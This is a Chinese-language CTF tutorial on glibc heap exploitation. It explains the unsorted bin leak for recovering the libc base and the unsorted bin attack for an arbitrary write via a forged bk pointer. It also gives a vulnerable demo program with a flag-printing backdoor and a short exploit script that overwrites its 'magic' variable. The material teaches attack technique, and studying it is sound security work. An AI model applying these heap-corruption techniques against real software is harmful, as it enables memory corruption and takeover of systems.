Unsorted bin

1.Unsorted bin leak

简介

通过unsorted bin的partial unlink,泄露main_arena地址信息,通过计算在libc中的偏移进而获取libc基地址。

条件

​ 1.存在UAF漏洞 或 其它可以修改unsorted bin中chunk的bk指针的漏洞。

​ 2.glibc <= 2.28(2.29引入了UsortedBin Attack的缓解机制)。

利用

前面unsorted bin的基础知识中,我们了解到unsotred bin中的chunk会被分类到small bin和large bin

中。

这些chunk在被分类时,需要进行partial unlink操作。相比于之前提到的unlink,这里的断开连接更简

单:

  1. victim的fd指针总是指向unsorted bin的头结点,因此可以被忽略。

  2. victim->bk.fd = unsorted_bin_head

  3. unsorted_bin_head.bk = victim.bk

首先,构造如下chunk:

1
2
3
4
5
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
malloc(0x28)

free(chuk_B)

此时,vis查看发现chunk_B已经被连入unsorted bin中,并且由于unsorted bin中只有这一块chunk,因此该chunk的fd和bk指向了main_arena的地址。

pCa5s61.png

再次malloc(0x88)申请回来,发现这时chunk中的fd和bk是没有被清除的,因此通过输出函数之类的是可以直接输出这两个的值的。

pCaIkAU.png

输出了fd即main_arena中unsortedbin的值->通过这个地址计算出main_arena的起始地址->通过这个起始地址获得libc的基地址

unsortedbin attack

比较低版本的glibc中没有校验这个最后的bin到底是不是双向链表中的成员

在结合堆溢出或UAF的漏洞编辑unsortedbin中的bk指针后,就可以直接将main_arena中的bk覆盖写掉

通过构造如下:

1
2
3
4
5
6
7
chunk_A = malloc(0x88)
chunk_B = malloc(0x88)
malloc(0x28)

free(chuk_B)

edit(chunk_B,p64(0xdeadbeef) + p64(heap))

vis查看发现:

pCaIANF.png

再执行一次malloc(0x88),这时就会申请unsorted bin中的这个块,将其从原本的地方unlink,同时会在我们伪造的bk的位置处写入我们main_arena的bk地址。因此,我们可以通过修改bk的值,实现向任意地址写入main_arena bk 的功能。

pCaIi7T.png

demo:

源程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void l33t(){
system("cat /home/magicheap/flag");
}

int main(){
char buf[8];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,8);
switch(atoi(buf)){
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
delete_heap();
break ;
case 4 :
exit(0);
break ;
case 4869 :
if(magic > 4869){
puts("Congrt !");
l33t();
}else
puts("So sad !");
break ;
default :
puts("Invalid Choice");
break;
}

}
return 0 ;
}

分析发现,当magic>4869时,会调用后门函数输出flag,因此我们可以使用unsorted bin attack修改magic变量为main arena bk的值,因为该值是一定大于4869的。

因此,完整exp:

1
2
3
4
5
6
7
8
malloc(0x28, '')
malloc(0x98, '')
malloc(0x28, '')
free(1)

payload = p64(0xdeadbeef) + p64(elf.sym.magic-0x10)
edit(chunk_B, len(payload), payload)
malloc(0x98, '')